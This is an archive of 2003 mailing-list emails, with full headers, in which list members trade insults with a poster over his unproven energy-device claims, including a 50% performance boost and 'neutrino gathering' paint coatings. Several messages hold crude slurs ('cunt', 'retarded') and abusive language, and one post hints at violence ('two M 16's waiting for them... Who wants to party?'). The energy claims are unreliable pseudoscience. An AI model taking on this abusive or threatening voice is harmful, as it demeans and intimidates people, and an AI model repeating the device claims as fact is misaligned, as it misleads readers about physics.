07:47:40 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: adeon@alzimach.net Subject: Re: THIS is HOW EASY IT IS Date: Thu, 18 Sep 2003 09:47:23 -0500 Organization: Austin Instruments, Inc. Message-ID: <90hjmvsbob45b59k2mij5fsvtk4nb3rc76@4ax.com> References: <131.23fcf6b7.2c9a7860@aol.com> In-Reply-To: <131.23fcf6b7.2c9a7860@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id HAA23103 Resent-Message-ID: <"VZQqe1.0.Sf5.CMSQ_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3778 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 170 On Wed, 17 Sep 2003 22:54:24 EDT, you wrote: >In a message dated 9/17/03 7:33:02 PM Eastern Standard Time, >adeon@alzimach.net writes: > > REPLY LET ME GIVE ONE BOY YOU BLEW YOUR 10,000 Now boy I'm >going to show how to play in biggs BY The end of the week I SHOULD BE IN TOUCH >WITH THE TELL COMM YOUR THE POINT MAN FOR AND HAVE THEM CALL ME AND PUT ME >ON HOLD. THEN CALL DELPHI'/GM's chief SCIENTIST and i will only speak with >him and they can listen he will know my voice and they CAN arrive their own >conclusions. > > THEN we will call the executive dean of the new 50 million tech. center here >if necessary. Named after the billionaire prime builder of GM. THEN if >necessary we will call the vice president of General Motors Institute Boy that >is how you play in the BIGGS buzz off goof ball I was very jaded and >looking past phase con. as far as GD --- And at the end of the day all you will have done is convinced another group of people that you cried "WOLF!" again. How about that guy from the publishing company? Is he back from vacation yet? -- John Fields From vortexb-l-request@eskimo.com Thu Sep 18 14:38:45 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id OAA06738; Thu, 18 Sep 2003 14:37:21 -0700 Resent-Date: Thu, 18 Sep 2003 14:37:21 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: alternativefuelvehicles@yahoogroups.com Subject: Re: BIG LEAGUES I DEAL IN SIMPLE NOT COMPLACATED Date: Thu, 18 Sep 2003 16:37:01 -0500 Organization: Austin Instruments, Inc. Message-ID: References: <147.1942dd11.2c9b72d1@aol.com> In-Reply-To: <147.1942dd11.2c9b72d1@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id OAA06637 Resent-Message-ID: <"PlqEG.0.5f1.GMYQ_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3781 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 171 >In a message dated 9/18/03 9:37:00 AM Eastern Standard Time, >jbfields3@sbcglobal.net writes: > >> The fact is you have nothing to offer, but you've convinced yourself >> that you do and you can't stand the thought that you might be wrong >> because then that whole house of cards would come tumbling down around >> your ears. On Thu, 18 Sep 2003 16:42:57 EDT, you wrote: >REPLY I SEE YOUR IN DENIAL BTDT WITH MANY LIKE YOU --- You're ridiculous. What you're doing by structuring your imaginary deals unrealistically (to say the least) is guaranteeing that when you fail (and you will) you can blame someone else because they "didn't have the vision to see a good deal when it was right in front of them". That way you can keep on pretending you have something which you don't and always scuttle the ship at the last minute to keep from having to admit it. Plus, what's this crap about?: "I'm big on human rights issues. especially for women. Plus no more wars and no weapons they time has come to evolve as a civilization or we never will. That is The grand design. To cause that to occur Guess what idiot fool was suckered in and stuck with that pain in the ass job, Do you want it? Your more than welcome to. You can have it. I have seeking a fish to stick it with. I cannot find anyone as dumb as I Am Then Calgon take me away." You're no messiah, Jack, and you don't have the slightest clue about how to go about accomplishing any of it, so stop pretending you can walk the walk when you can't even talk the talk. -- John Fields From vortexb-l-request@eskimo.com Thu Sep 18 14:48:13 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id OAA13316; Thu, 18 Sep 2003 14:46:43 -0700 Resent-Date: Thu, 18 Sep 2003 14:46:43 -0700 From: John Fields To: vortexb-l@eskimo.com Cc: alternativefuelvehicles@yahoogroups.com Subject: Re: SO SIMPLE and save 600 to 800 billion in power upgrades this century Date: Thu, 18 Sep 2003 16:46:22 -0500 Organization: Austin Instruments, Inc. Message-ID: <5i9kmvskc2lpi3tgcgh2gof6uhd9cik45k@4ax.com> References: <31.3dfb2212.2c9b7ce3@aol.com> In-Reply-To: <31.3dfb2212.2c9b7ce3@aol.com> X-Mailer: Forte Agent 1.93/32.576 English (American) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by mx1.eskimo.com id OAA13253 Resent-Message-ID: <"do9uM2.0.wF3.3VYQ_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3782 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 172 On Thu, 18 Sep 2003 17:25:55 EDT, you wrote: > REPLY AN OPERATIONAL situation proves concept case closed then. if >science does not understand and wants to know the concept only , i suggest they >study under me Simple you plug in product then you plug in what you wish >to operate into the product. What ever you plug in will have a 50% >preformance increase and operate far cooler and wall draw factors will drop >dramatically see how simple that is? --- I don't think I'd be very happy if I plugged an incandescent lamp into the "product" and it operated far cooler, and I don't understand how that could happen if I got a 50% performance increase. Would you care to explain how that could happen, please? Also, what do you mean by "wall draw factors"? -- John Fields From vortexb-l-request@eskimo.com Fri Sep 19 08:33:56 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id IAA28678; Fri, 19 Sep 2003 08:31:42 -0700 Resent-Date: Fri, 19 Sep 2003 08:31:42 -0700 Date: Fri, 19 Sep 2003 08:25:29 -0700 From: nitroburn Subject: Re: Solar paint for 2007 Prius (Please) To: vortexb-l@eskimo.com Message-id: <003c01c37ec2$441afb40$6d01a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_+fam2qR0egsjzRdVf5D8ng)" X-Priority: 3 X-MSMail-priority: Normal References: <1da.111ef2a9.2c9c7763@aol.com> Resent-Message-ID: <"YXH9-2.0.107.T5oQ_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3796 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 173 This is a multi-part message in MIME format. --Boundary_(ID_+fam2qR0egsjzRdVf5D8ng) Content-type: text/plain; charset=utf-8 Content-transfer-encoding: quoted-printable 23 RD century level Tesla Tesla is Dead ----- Original Message -----=20 From: JCarey9622@aol.com=20 To: All-Energy@yahoogroups.com=20 Sent: Friday, September 19, 2003 8:14 AM Subject: Solar paint for 2007 Prius (Please) In a message dated 9/19/03 7:55:37 AM Eastern Standard Time, = f1@post1.com writes: Solar paint for 2007 Prius=20 REPLY I HAVE ONE QUESTION Duh Duh DOES THE SUN SHINE 24/7? or in = enclosed parking situations IF NOT PLEASE THIS is a TOTAL JOKE CRACKER = jack BOX level improvement. . You people have been jaded by me by now = to the the point some of you know that know me personally are laughing = their asses off. Delphi's visionary Chief Scientist is falling off his = chair Right carl. I just called him to tell him I was sending this. = FYI Carl has no GM counter productive ego. =20 The rest are clueless because they are not smart enough to = investigate. We know why=20 because that ability was programed out them by a piss poor edu = ststem for a reason called control. IF a premise like this is desired = neutrino gathering compound based coatings are the ticket. Then no = matter where the auto is 24/7 the coatings are gathering radiant power. = Again 99.999999999999999% are clueless about the premise. Now that is = 23 RD century level Tesla. =20 =20 The Toyota 2004 Prius has just barely launched in the past week or = so and they're talking about the 2007 Prius already. Spotted on toyota-prius : ... for his part, Empedocles is leading an effort at Nanosys to = market efficient and supercheap nano-based solar cells that can go = almost anywhere. The materials are made by mixing electrically = conducting polymers with inorganic semiconductor crystals 10 to 60 = nanometers in size. The materials convert solar energy to electricity = with an efficiency approaching that of today's silicon-based solar cells = but at one-tenth the manufacturing cost. Moreover, the nano solar cells = could be embedded in roofing tiles=E2=80=94or even exterior = paint=E2=80=94to provide electricity for homes, office buildings, and = public transportation systems. Nanosys is joining forces with Matsushita Electric Works, a large = Japanese manufacturer of building materials, to make the product. Look = for nano solar cells in roofing tiles to be on the market by the end of = 2006, says Empedocles. Why the speculation about this? Perhaps because Panasonic (one of = Matsushita's brand names) happens to be Toyota's supplier of the ~1.7 = KWh hybrid battery packs that go into both the old 2000-2003 Prius and = the new 2004 model. The efficiency of the nanorods, if applied in solar paint, might not = be as good as existing PV solar cells yet, but it might be a great idea = to paint the rest of the house with it. Add hybrid solar lighting in and = you get a nice solar-powered house. Low Ee Mien Singapore http://www.freeroller.net/page/lowem --Boundary_(ID_+fam2qR0egsjzRdVf5D8ng) Content-type: text/html; charset=utf-8 Content-transfer-encoding: quoted-printable =EF=BB=BF
23 RD century level Tesla
 
Tesla is Dead
----- Original Message -----
From:=20 JCarey9622@aol.com
Sent: Friday, September 19, = 2003 8:14=20 AM
Subject: Solar paint for 2007 = Prius=20 (Please)

In a message dated 9/19/03 7:55:37 AM Eastern = Standard=20 Time, f1@post1.com=20 writes:


 Solar paint for 2007 Prius

REPLY I HAVE ONE QUESTION  Duh Duh DOES THE SUN = SHINE=20 24/7?  or in enclosed parking situations IF NOT PLEASE THIS is = a TOTAL=20 JOKE CRACKER jack BOX level improvement.  .  You people = have been=20 jaded by me by now to the the point some of you know that know me = personally=20 are laughing their asses off.  Delphi's visionary Chief = Scientist is=20 falling off his chair Right carl. I just called him to tell him I = was=20 sending this.   FYI Carl has no GM counter productive=20 ego.  

    The rest are clueless because they are not = smart enough=20 to investigate. We know why
because that ability was programed out them by a piss = poor=20 edu ststem for a reason called control. IF  = a  =20 premise like this is desired neutrino gathering compound based = coatings are=20 the ticket. Then no matter where the auto is 24/7 the coatings are = gathering=20 radiant power.  Again  99.999999999999999% are clueless = about the=20 premise. Now that is 23 RD century level=20 Tesla.        =20

The Toyota 2004 Prius has just barely launched in = the past=20 week or so and they're talking about the 2007 Prius = already.

Spotted=20 on t= oyota-prius=20 :

... for his part, Empedocles is leading an effort at = Nanosys to=20 market efficient and supercheap nano-based solar cells that can go = almost=20 anywhere. The materials are made by mixing electrically conducting = polymers=20 with inorganic semiconductor crystals 10 to 60 nanometers in size. = The=20 materials convert solar energy to electricity with an efficiency = approaching=20 that of today's silicon-based solar cells but at one-tenth the = manufacturing=20 cost. Moreover, the nano solar cells could be embedded in roofing = tiles=E2=80=94or=20 even exterior paint=E2=80=94to provide electricity for homes, office = buildings, and=20 public transportation systems.

Nanosys is joining forces = with=20 Matsushita Electric Works, a large Japanese manufacturer of building = materials, to make the product. Look for nano solar cells in roofing = tiles=20 to be on the market by the end of 2006, says Empedocles.

Why = the=20 speculation about this? Perhaps because Panasonic (one of = Matsushita's brand=20 names) happens to be Toyota's supplier of the ~1.7=20 KWh hybrid battery packs that go into both the old 2000-2003 = Prius and=20 the new 2004 model.

The efficiency of the nanorods, if = applied in=20 solar paint, might not be as good as existing PV solar cells yet, = but it=20 might be a great idea to paint the rest of the house with it. Add hybrid=20 solar lighting in and you get a nice solar-powered = house.


Low=20 Ee Mien
Singapore
http://www.freeroller.net/p= age/lowem






 --Boundary_(ID_+fam2qR0egsjzRdVf5D8ng)-- From vortexb-l-request@eskimo.com Fri Sep 19 23:26:25 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id XAA05023; Fri, 19 Sep 2003 23:25:45 -0700 Resent-Date: Fri, 19 Sep 2003 23:25:45 -0700 Date: Fri, 19 Sep 2003 23:22:27 -0700 From: nitroburn Subject: Re: ] CALLING AS IT IS BOYS JIM YOUR MAJOR FLAW .. To: vortexb-l@eskimo.com Message-id: <001701c37f3f$925b73c0$6d01a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_WM2zUyZGPJKddqKqKqicWw)" X-Priority: 3 X-MSMail-priority: Normal References: <63.226b853b.2c9d4922@aol.com> Resent-Message-ID: <"4Gkqa3.0.LE1.eB_Q_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3805 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 174 This is a multi-part message in MIME format. --Boundary_(ID_WM2zUyZGPJKddqKqKqicWw) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT the corperation will get you. ----- Original Message ----- From: jcarey9622@aol.com To: alternativefuelvehicles@yahoogroups.com Sent: Friday, September 19, 2003 11:09 PM Subject: Re: ] CALLING AS IT IS BOYS JIM YOUR MAJOR FLAW .. In a message dated 9/20/03 12:26:35 AM Eastern Standard Time, jhsolar@msn.com writes: Jack: If I had something I wanted to market I would concentrate on those who are seriously interested and ignore the critics or disinterested parties. I wouldn't be wasting my valuable time the way you seem to be doing. If your technology works then you should be demonstrating that fact. REPLY DID YOU ASK ? NO YOU ASSUMED THAT IS A MAJOR FLAW YOU HAVE FYI I'M WAITING ON A MAJOR NO STRINGS MONEY SITUATION THAT HAS BEEN VERIFIED. AND STATED IN MAIL I CARE LESS WHO BELIEVES THAT DO NOT DO NOT MAKE STATEMENTS BEFORE CHECKING THAT IS WHAT THE REST OF THE CLOWN TYPES DO ADDRESSING CRITICS IS A SYSTEMATIC DISCREDITING PROCESS . HELLO YOU DO NOT UNDERRSTAND THE GAME THEN DO NOT COMMENT UNLESS YOU DO. I HAVE TURNED DOWN 20 BILLION I'M SELLING LICENSING RIGHTS TO DISTRIBUTE I SHOULD MAKE 300,000 A MONTH OFF THE PAY PER VIEW WEB SITE ALONE YOU CANNOT EVEN IMAGINE THAT Rather than spending your time arguing with your critics why aren't you endeavoring to prove them wrong? When someone tells me that I can't do something it only spurs me on to accomplishment. I hope you truly do have what you claim. We need new technology that will allow us to break the hold of the Internationalist have on us. I understand the importance of maintaining secrecy about the "how it works" or giving up control lest it be stolen or suppressed like many technologies of the past. I've been following your posts on various groups for over a year expecting to eventually find out "does it work or not". I can no longer spend this time as it takes away from other things I like or must do. Let me know when something positive has developed. In the meantime I'll remain positive in my confidence that you or someone else will find solutions to civilization's critical problems. Regards, Jim hanlon --Boundary_(ID_WM2zUyZGPJKddqKqKqicWw) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
the corperation will get you.
----- Original Message -----
Sent: Friday, September 19, 2003 11:09 PM
Subject: Re: ] CALLING AS IT IS BOYS JIM YOUR MAJOR FLAW ..

In a message dated 9/20/03 12:26:35 AM Eastern Standard Time, jhsolar@msn.com writes:


Jack: If I had something I wanted to market I would concentrate on those who are seriously interested and ignore the critics or disinterested parties. I wouldn't be wasting my valuable time the way you seem to be doing. If your technology works then you should be demonstrating that fact.

REPLY        DID YOU ASK ? NO YOU ASSUMED   THAT IS A MAJOR FLAW YOU HAVE   FYI  I'M WAITING ON A MAJOR NO STRINGS MONEY SITUATION  THAT HAS BEEN VERIFIED.   AND STATED IN MAIL   I CARE LESS WHO BELIEVES THAT   DO NOT DO NOT  MAKE  STATEMENTS  BEFORE  CHECKING

   THAT IS WHAT THE REST OF THE CLOWN TYPES DO   ADDRESSING  CRITICS  IS   A SYSTEMATIC  DISCREDITING PROCESS .  HELLO  YOU DO NOT UNDERRSTAND THE GAME  THEN DO NOT COMMENT UNLESS YOU DO. 

    I HAVE TURNED DOWN 20 BILLION   I'M  SELLING LICENSING RIGHTS TO DISTRIBUTE   I SHOULD  MAKE 300,000 A MONTH OFF THE PAY PER VIEW WEB SITE ALONE   YOU CANNOT EVEN IMAGINE THAT

  Rather than spending your time arguing with your critics why aren't you endeavoring to prove them wrong?  When
someone tells me that I can't do something it only spurs me on to accomplishment.

I hope you truly do have what you claim. We need new technology that will
allow us to break the hold of the Internationalist have on us. I understand the importance of maintaining secrecy about the "how it works" or giving up control lest it be stolen or suppressed like many technologies of the past. I've been following your posts on various groups for over a year expecting to eventually find out "does it work or not". I can no longer spend this time as it takes away from other things I like or must do. Let me know when something positive has developed. In the meantime I'll remain positive in my confidence that you or someone else will find solutions to civilization's  critical problems.

Regards,
Jim hanlon



--Boundary_(ID_WM2zUyZGPJKddqKqKqicWw)-- From vortexb-l-request@eskimo.com Sat Sep 20 11:09:14 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id LAA04908; Sat, 20 Sep 2003 11:07:12 -0700 Resent-Date: Sat, 20 Sep 2003 11:07:12 -0700 Date: Sat, 20 Sep 2003 11:06:58 -0700 From: nitroburn Subject: Re: ] CALLING AS IT IS BOYS JIM YOUR MAJOR FLAW .. To: vortexb-l@eskimo.com Message-id: <002b01c37fa1$fd3f4470$6d01a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_wO9gBQ/WLHwSl8Lro2HADw)" X-Priority: 3 X-MSMail-priority: Normal References: <138.2536d253.2c9d5c76@aol.com> Resent-Message-ID: <"SQGEh1.0.8C1.ET9R_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3810 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 175 This is a multi-part message in MIME format. --Boundary_(ID_wO9gBQ/WLHwSl8Lro2HADw) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT FYI i know where there is two M 16's waiting for them with 50 shot banana clips Who wants to party? Whats your point? how do guns make a party? You're an idiot. And im not hearing impared moron. ----- Original Message ----- From: jcarey9622@aol.com To: vortexb-l@eskimo.com Sent: Saturday, September 20, 2003 12:32 AM Subject: Re: ] CALLING AS IT IS BOYS JIM YOUR MAJOR FLAW .. In a message dated 9/20/03 1:26:37 AM Eastern Standard Time, nitro@bctel.org writes: the corperation will get you. REPLY You made that threat call on the hearing impaired network you ignorant goof ball clown college senior moron. You mean the CORPORATION you cannot even get that correct fool To bad about your 60,000 you spent on your now worthless useless tech. EDU WA WA WA WA MA MA MA MA She cannot help you now your on your own. FYI i know where there is two M 16's waiting for them with 50 shot banana clips Who wants to party? Plus there is an undergroud escape that goes two different ways. --Boundary_(ID_wO9gBQ/WLHwSl8Lro2HADw) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
FYI  i know where there is two M 16's waiting for them with 50 shot banana clips   Who wants to party? 
 
Whats your point? how do guns make a party? You're an idiot.
 
And im not hearing impared moron.
----- Original Message -----
Sent: Saturday, September 20, 2003 12:32 AM
Subject: Re: ] CALLING AS IT IS BOYS JIM YOUR MAJOR FLAW ..

In a message dated 9/20/03 1:26:37 AM Eastern Standard Time, nitro@bctel.org writes:


the corperation will get you.


      REPLY     You made that threat call on the hearing impaired network  you ignorant  goof ball clown 
college senior moron. You mean the CORPORATION you cannot even get that correct fool  To bad about your 60,000 you spent on your now worthless useless tech. EDU   WA WA  WA WA  MA MA MA MA  She cannot help you now your on your own. 


     FYI  i know where there is two M 16's waiting for them with 50 shot banana clips   Who wants to party? 
Plus there is an undergroud escape that goes two different ways.


--Boundary_(ID_wO9gBQ/WLHwSl8Lro2HADw)-- From vortexb-l-request@eskimo.com Sun Sep 21 12:35:22 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id MAA12563; Sun, 21 Sep 2003 12:32:07 -0700 Resent-Date: Sun, 21 Sep 2003 12:32:07 -0700 Date: Sun, 21 Sep 2003 12:04:01 -0700 From: nitroburn Subject: Re: [Alternative Fuel Vehicles] I TOLD A CONTACT WHAT TO TELL THE ""DOD"" * To: vortexb-l@eskimo.com, jbfields3@sbcglobal.net Message-id: <004601c38073$1eb700d0$6d01a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_e84hedF30ER5yMCMAnlYzA)" X-Priority: 3 X-MSMail-priority: Normal References: <12e.31efa904.2c9f484f@aol.com> Resent-Message-ID: <"AaaDb3.0.x33.soVR_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3819 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 176 This is a multi-part message in MIME format. --Boundary_(ID_e84hedF30ER5yMCMAnlYzA) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT I assume you saw www.electrifyingtimes.com and searched for old article they published on "confidential Technology". That's the late Wayne Cochran in the picture next to air compressor. The Russian magazine did put Jack's picture and his Mustang Saleen Cobra on cover for some reason, www.faraday.ru But Alexander Frolov the publisher never got anything worthwhile to publish from Jack. ----- Original Message ----- From: JCarey9622@aol.com To: alternativefuelvehicles@yahoogroups.com ; vortexb-l@eskimo.com Sent: Sunday, September 21, 2003 11:30 AM Subject: Re: [Alternative Fuel Vehicles] I TOLD A CONTACT WHAT TO TELL THE ""DOD"" * In a message dated 9/21/03 12:58:18 PM Eastern Standard Time, jbfields3@sbcglobal.net writes: Oh, all of a sudden you're Mr. Big Time Scientist? Prove it, you lying sack of shit. --- REPLY EXPAIN THE PUB TECH IN E TIMES IF YOU CANNOT SHUT THE F=K UP because i have to the extent what counts --Boundary_(ID_e84hedF30ER5yMCMAnlYzA) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
I assume you saw www.electrifyingtimes.com and searched for old article they published on "confidential Technology". That's the late Wayne Cochran in the picture next to air compressor.
The Russian magazine did put Jack's picture and his Mustang Saleen Cobra on cover for some reason, www.faraday.ru  But Alexander Frolov the publisher never got anything worthwhile to publish from Jack. 
 
 
----- Original Message -----
Sent: Sunday, September 21, 2003 11:30 AM
Subject: Re: [Alternative Fuel Vehicles] I TOLD A CONTACT WHAT TO TELL THE ""DOD"" *

In a message dated 9/21/03 12:58:18 PM Eastern Standard Time, jbfields3@sbcglobal.net writes:


Oh, all of a sudden you're Mr. Big Time Scientist?
Prove it, you lying sack of shit.
---   REPLY EXPAIN  THE PUB TECH IN E TIMES   IF YOU CANNOT SHUT THE F=K UP  because i have to the extent what counts



--Boundary_(ID_e84hedF30ER5yMCMAnlYzA)-- From vortexb-l-request@eskimo.com Sun Sep 21 16:06:42 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id QAA20251; Sun, 21 Sep 2003 16:05:55 -0700 Resent-Date: Sun, 21 Sep 2003 16:05:55 -0700 Date: Sun, 21 Sep 2003 15:57:05 -0700 From: nitroburn Subject: Re: ONLY A TURD To: vortexb-l@eskimo.com Message-id: <001b01c38093$ae2f7740$6d01a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_y/Yg7qmZMQJv/DAV8qQSig)" X-Priority: 3 X-MSMail-priority: Normal References: <68.35064ad9.2c9f80a9@aol.com> Resent-Message-ID: <"UIn8v3.0.3y4.IxYR_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3824 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 177 This is a multi-part message in MIME format. --Boundary_(ID_y/Yg7qmZMQJv/DAV8qQSig) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT HAHAHAHAH Carey, you also have the manners of a turd, ever hear of "You get what you give?" The level of language he used was a higher level of your usual language. He didn't make a fool of himself, he fucking crusified you and you still wont prove it. Fields is right, your a liar. You were called on in and lost. Hahahha. ----- Original Message ----- From: JCarey9622@aol.com To: alternativefuelvehicles@yahoogroups.com Sent: Sunday, September 21, 2003 3:31 PM Subject: ONLY A TURD In a message dated 9/21/03 2:46:00 PM Eastern Standard Time, jbfields3@sbcglobal.net writes: REPLY YOU HAVE THE MANNERS OF A TURD WHICH IS ZERO AND USING THAT LANGUAGE SHOWS YOU LEVEL OF KNOWLEDGE ALSO IS ZERO. IF SO YOUR JUST A ZERO. THAT THINKS HE IS SOMEBODY BUT IS ALAS ONLY A TURD. WHO JUST MADE A COMPLETE MORONIC FOOL OF HIMSELF --- JCarey9622@aol.com wrote: > In a message dated 9/21/03 12:58:18 PM Eastern > Standard Time, > jbfields3@sbcglobal.net writes: > > > > Oh, all of a sudden you're Mr. Big Time Scientist? > > Prove it, you lying sack of shit. > > --- REPLY EXPAIN THE PUB TECH IN E TIMES IF > YOU CANNOT SHUT THE F=K UP --- I don't have to explain a goddam thing, cunt. You're the one who said you know more about A/C current than anyone on the planet, and I'm calling you on it. Either you _prove_ it or you're a lying twat. Oh, guess what? You're a lying twat anyway, and a scaredy-cat on top of that, since you won't even spell out "FUCK". Goddam chickenshit bastard... --Boundary_(ID_y/Yg7qmZMQJv/DAV8qQSig) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
HAHAHAHAH
 
Carey, you also have the manners of a turd, ever hear of "You get what you give?"
The level of language he used was a higher level of your usual language.
 
He didn't make a fool of himself,
he fucking crusified you and you still wont prove it.
 
Fields is right, your a liar. You were called on in and lost.
 
Hahahha.
----- Original Message -----
Sent: Sunday, September 21, 2003 3:31 PM
Subject: ONLY A TURD

In a message dated 9/21/03 2:46:00 PM Eastern Standard Time, jbfields3@sbcglobal.net writes:

     REPLY YOU HAVE THE MANNERS OF A TURD  WHICH IS  ZERO  AND USING THAT LANGUAGE SHOWS YOU LEVEL OF KNOWLEDGE ALSO  IS ZERO.  IF SO YOUR JUST A ZERO.  THAT THINKS HE IS SOMEBODY BUT IS ALAS ONLY A TURD.    WHO JUST MADE A COMPLETE MORONIC FOOL OF HIMSELF
--- JCarey9622@aol.com wrote:
> In a message dated 9/21/03 12:58:18 PM Eastern
> Standard Time,
> jbfields3@sbcglobal.net writes:
>
>
> > Oh, all of a sudden you're Mr. Big Time Scientist?
> > Prove it, you lying sack of shit.

> > ---   REPLY EXPAIN  THE PUB TECH IN E TIMES   IF
> YOU CANNOT SHUT THE F=K UP 
---
I don't have to explain a goddam thing, cunt.  You're
the one who said you know more about A/C current than
anyone on the planet, and I'm calling you on it.
Either you _prove_ it or you're a lying twat.

Oh, guess what?  You're a lying twat anyway, and a
scaredy-cat on top of that, since you won't even spell
out "FUCK".

Goddam chickenshit bastard...


--Boundary_(ID_y/Yg7qmZMQJv/DAV8qQSig)-- From vortexb-l-request@eskimo.com Sun Sep 21 16:11:02 2003 Received: (from smartlst@localhost) by mx1.eskimo.com (8.9.3/8.8.8) id QAA22246; Sun, 21 Sep 2003 16:10:07 -0700 Resent-Date: Sun, 21 Sep 2003 16:10:07 -0700 Date: Sun, 21 Sep 2003 16:09:55 -0700 From: nitroburn Subject: Re: s] POUNDING ARROGANT NAY SAYERS * To: vortexb-l@eskimo.com Message-id: <001501c38095$78cf9ba0$6d01a8c0@AMDXP2000> MIME-version: 1.0 X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2800.1165 X-Mailer: Microsoft Outlook Express 6.00.2800.1158 Content-type: multipart/alternative; boundary="Boundary_(ID_q+eduqxI1N48yeKYorDH2Q)" X-Priority: 3 X-MSMail-priority: Normal References: <1da.1129c5c5.2c9f8776@aol.com> Resent-Message-ID: <"xoy3O.0.XR5.E_YR_"@mx1> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/3825 X-Loop: vortexb-l@eskimo.com Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 178 This is a multi-part message in MIME format. --Boundary_(ID_q+eduqxI1N48yeKYorDH2Q) Content-type: text/plain; charset=iso-8859-1 Content-transfer-encoding: 7BIT He was insulting you through out. He was saying that you are shitty fraud and that you should learn from the fraud Joe Newman, because at least he wasn't as fucking retarded as you are. ----- Original Message ----- From: JCarey9622@aol.com To: alternativefuelvehicles@yahoogroups.com Sent: Sunday, September 21, 2003 4:00 PM Subject: s] POUNDING ARROGANT NAY SAYERS * In a message dated 9/21/03 2:59:08 PM Eastern Standard Time, jbfields3@sbcglobal.net writes: REPLY WHAT THE HELL IS IT? FIRST YOU KNOCK ME? THEN YOU THINK I SHOULD WRITE A BOOK. ARE BECOMMING CLOSET READING JACK ADMIRER? BUT A PUBLIC DETRACTOR. IF SO YOU NEED MEDICAL ATTENTION I CANNOT STAND JACK BECAUSE HE MAKES TO MUCH SENSE. AMERICA IS SUPPOSED TO OPERATE JUST THE OPPOSITE. unless i'm mistaken --- JCarey9622@aol.com wrote: > WELL NAILING THEM 